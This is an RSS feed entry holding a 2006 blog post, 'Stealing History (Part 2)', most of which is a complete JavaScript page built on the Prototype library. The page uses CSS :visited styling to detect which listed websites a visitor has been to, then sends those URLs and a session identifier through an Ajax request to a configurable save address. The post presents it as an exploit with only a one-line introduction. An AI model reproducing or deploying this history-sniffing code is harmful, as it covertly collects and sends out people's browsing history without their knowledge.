<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://weblogs.asp.net/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>Jesse Ezell Blog : Prototype</title><link>http://weblogs.asp.net/jezell/archive/tags/Prototype/default.aspx</link><description>Tags: Prototype</description><dc:language>en</dc:language><generator>CommunityServer 2007 SP1 (Build: 20510.895)</generator><item><title>Stealing History (Part 2)</title><link>http://weblogs.asp.net/jezell/archive/2006/08/26/Stealing-History-_2800_Part-2_2900_.aspx</link><pubDate>Sat, 26 Aug 2006 19:32:00 GMT</pubDate><guid isPermaLink="false">c06e2b9d-981a-45b4-a55f-ab0d8bbfdc1c:490775</guid><dc:creator>Jesse Ezell</dc:creator><author>Jesse Ezell</author><slash:comments>16</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://weblogs.asp.net/jezell/rsscomments.aspx?PostID=490775</wfw:commentRss><comments>http://weblogs.asp.net/jezell/archive/2006/08/26/Stealing-History-_2800_Part-2_2900_.aspx#comments</comments><description>&lt;p&gt;Cody Swann has a modified version of &lt;a href="http://weblogs.asp.net/jezell/archive/2006/08/25/Stealing-History.aspx"&gt;the exploit&lt;/a&gt; using prototype that works in IE and has support for AJAX requests:&lt;/p&gt;&lt;pre&gt;&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;script type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;http://script.aculo.us/prototype.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
Have you been to these sites?
&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;

Snoop = Class.create();

Snoop.prototype = {
	initialize: function(options)
	{
		this.options = Object.extend({
			writeStyle: true,
			linkObjArray: null, //AN ARRAY OF JSON FORMATTED LINK OBJ IN THE FORM OF {link:&amp;#39;http://...&amp;#39;,text:&amp;#39;nameOfSite&amp;#39;} THAT WILL BE CHECKED
			identifier: &amp;#39;&amp;#39;, //IF SAVING THE DATA, THIS IS WHAT YOU WOULD LIKE TO USE TO IDENFIFY THE SESSON
			saveURL: null, //URL TO SEND THE DATA TO
			method: &amp;#39;get&amp;#39;, //METHOD USED IN AJAX SAVE
			transport: null, //TRANSPORT USED TO SEND SAVED DATA (XMLHTTPRequest by default)
			onComplete: function(visitedLinks)///FUNCTION CALLED AFTER PARSING LINKS
			{
				var dummy = document.createElement(&amp;#39;ul&amp;#39;);
				visitedLinks.each(
					function(linkObj)
					{
						var text = document.createTextNode(linkObj.text);
						var node = document.createElement(&amp;#39;a&amp;#39;);
						var li = document.createElement(&amp;#39;li&amp;#39;);
						node.appendChild(text);
						node.setAttribute(&amp;#39;href&amp;#39;,linkObj.link);
						li.appendChild(node);
						dummy.appendChild(li);
					}
				);
				document.body.appendChild(dummy);
			},
			onSaveComplete: function(){},///CALLBACK FOR AJAX FUNCTION ON SUCCESS
			onSaveError: function(){}///CALLBACK FOR AJAX FUNCTION ON FAILURE
		}, options || {});
		this._visitedLinks = [];
		if(this.options.writeStyle)
		{
			document.write(&amp;#39;&amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;a.testerLink:visited{display:block;height:1px;}&amp;lt;/style&amp;gt;&amp;#39;);
		}
		this.collectVisitedLinks();
		this.finish();
	},
	collectVisitedLinks: function()
	{
		var dummy = document.createElement(&amp;#39;div&amp;#39;);
		dummy.id = &amp;#39;visitTestDiv&amp;#39;;
		Element.setStyle(dummy,{visibility:&amp;#39;hidden&amp;#39;,height:&amp;#39;1px&amp;#39;,lineHeight:&amp;#39;1px&amp;#39;});
		document.body.appendChild(dummy);
		var linkObjs = this.options.linkObjArray || [{link:&amp;#39;http://new.com/&amp;#39;,text:&amp;#39;new&amp;#39;},{link:&amp;#39;http://new.2com/&amp;#39;,text:&amp;#39;new2&amp;#39;},{link:&amp;#39;http://google.com/&amp;#39;,text:&amp;#39;Google.com&amp;#39;},{link:&amp;#39;http://espn.go.com/&amp;#39;,text:&amp;#39;ESPN.com&amp;#39;},{link:&amp;#39;http://script.aculo.us/&amp;#39;,text:&amp;#39;Scriptaculous&amp;#39;},{link:&amp;#39;http://digg.com/&amp;#39;,text:&amp;#39;Digg&amp;#39;},{link:&amp;#39;http://blog.slimc.com/&amp;#39;,text:&amp;#39;Slimc.com&amp;#39;},{link:&amp;#39;http://www.cnn.com/&amp;#39;,text:&amp;#39;CNN.com&amp;#39;},{link:&amp;#39;http://www.yahoo.com/&amp;#39;,text:&amp;#39;Yahoo!&amp;#39;},{link:&amp;#39;http://myspace.com&amp;#39;,text:&amp;#39;MySpace&amp;#39;},{link:&amp;#39;http://www.ebay.com/&amp;#39;,text:&amp;#39;ebay&amp;#39;},{link:&amp;#39;http://wikipedia.org/&amp;#39;,text:&amp;#39;Wikipedia&amp;#39;},{link:&amp;#39;http://amazon.com/&amp;#39;,text:&amp;#39;Amazon.com&amp;#39;},{link:&amp;#39;http://sfbay.craigslist.org/&amp;#39;,text:&amp;quot;Craig&amp;#39;s List&amp;quot;}];
		linkObjs.each(
			function(linkObj,count)
			{
				var text = document.createTextNode(linkObj.text);
				var node = document.createElement(&amp;#39;a&amp;#39;);

				node.setAttribute(&amp;#39;href&amp;#39;,linkObj.link);
				Element.addClassName(node,&amp;#39;testerLink&amp;#39;);
				dummy.appendChild(node);
				if(parseInt(Element.getHeight(node)) != 0)
				{
					this._visitedLinks.push(linkObj);
				}
				Element.remove(node);
			}.bind(this)
		);
		Element.remove(dummy);
	},
	finish: function()
	{
		if(this.options.saveURL)
		{
			var urls = this._visitedLinks.collect(function(link){ return link.link; });
			urls = urls.join(&amp;#39;,&amp;#39;);
			urls = escape(urls.replace(/,$/,&amp;#39;&amp;#39;));
			urls = urls.replace(/%2C/,&amp;#39;,&amp;#39;);
			new Ajax.Request(this.options.saveURL,{
				transport: this.options.transport,
				method: this.options.method,
				parameters: &amp;#39;id=&amp;#39; + this.options.identifier + &amp;#39;&amp;amp;urls=&amp;#39; + urls,
				onSuccess: this.options.onSaveComplete,
				onFailure: this.options.onSaveError
			});
		}
		this.options.onComplete(this._visitedLinks);
	}
};
new Snoop({saveURL:&amp;#39;/right/here&amp;#39;});
&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/pre&gt;&lt;p&gt;[1] &lt;a href="http://blog.slimc.com/prototype-javascript-ending-privacy-one-visit-at-a-time/"&gt;http://blog.slimc.com/prototype-javascript-ending-privacy-one-visit-at-a-time/&lt;/a&gt;&lt;/p&gt;&lt;img src="http://weblogs.asp.net/aggbug.aspx?PostID=490775" width="1" height="1"&gt;</description><category domain="http://weblogs.asp.net/jezell/archive/tags/AJAX/default.aspx">AJAX</category><category domain="http://weblogs.asp.net/jezell/archive/tags/General+Software+Development/default.aspx">General Software Development</category><category domain="http://weblogs.asp.net/jezell/archive/tags/Javascript/default.aspx">Javascript</category><category domain="http://weblogs.asp.net/jezell/archive/tags/Hack/default.aspx">Hack</category><category domain="http://weblogs.asp.net/jezell/archive/tags/Cody+Swann/default.aspx">Cody Swann</category><category domain="http://weblogs.asp.net/jezell/archive/tags/Prototype/default.aspx">Prototype</category></item></channel></rss>